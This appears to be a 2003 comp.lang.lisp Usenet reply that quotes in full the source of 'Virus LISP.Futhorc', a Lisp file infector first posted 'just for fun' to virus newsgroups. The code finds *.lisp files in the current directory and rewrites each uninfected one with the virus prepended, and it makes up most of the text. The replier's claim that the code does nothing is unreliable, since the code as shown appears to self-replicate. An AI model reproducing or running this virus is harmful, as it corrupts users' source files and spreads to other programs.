| |
comp.lang.lisp |
Ivan> =========================================================================== == Ivan> ;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03 I would be circumspect in writing programs called "Virus" and posting
Ivan> Subject: Just for fun
Ivan> Newsgroups: fido7.xsu.hacker
Ivan> Date: Thu, 26 Jun 2003 10:27:28 +0600
Ivan> Organization: Hackers' POWER BBS
Ivan> * Forwarded by Ilya V. Vasilyev (2:5020/287)
Ivan> * Area : su.cm (su.cm)
Ivan> * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
Ivan> * To : All
Ivan> * Subj : Just for fun
Ivan> =========================================================================== ==
Ivan> * Originally in su.cm
Ivan> Crossposted to pvt.virii
Ivan> Crossposted to ru.virus
Ivan> (setq virus '(defun infect (&optional (ls (directory "*.lisp")))
Ivan> (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
Ivan> (when (setq vic (car ls))
Ivan> (let ((p nil)) (with-open-file (i vic :direction :input)
Ivan> (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
Ivan> (loop (unless (setq line (read-line i nil nil)) (return))
Ivan> (setq p (append p (list line))))))
Ivan> (when p (with-open-file (o vic :direction :output)
Ivan> (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
Ivan> (writel p o))))
Ivan> (infect (cdr ls))))
Ivan> )(eval virus)(infect)
them on the net in so-called "hacker" newsgroups, even if it is supposed
to be (I assume) some kind of joke. It looks like you are not the original
author of the "virus" program, but can you understand what you have posted?
It's as if someone has cut-and-pasted fragments of Lisp code from
other programs, without understanding what they were copying.
This program is a lot of gibberish and does not do anything at all:
most of it is never even executed.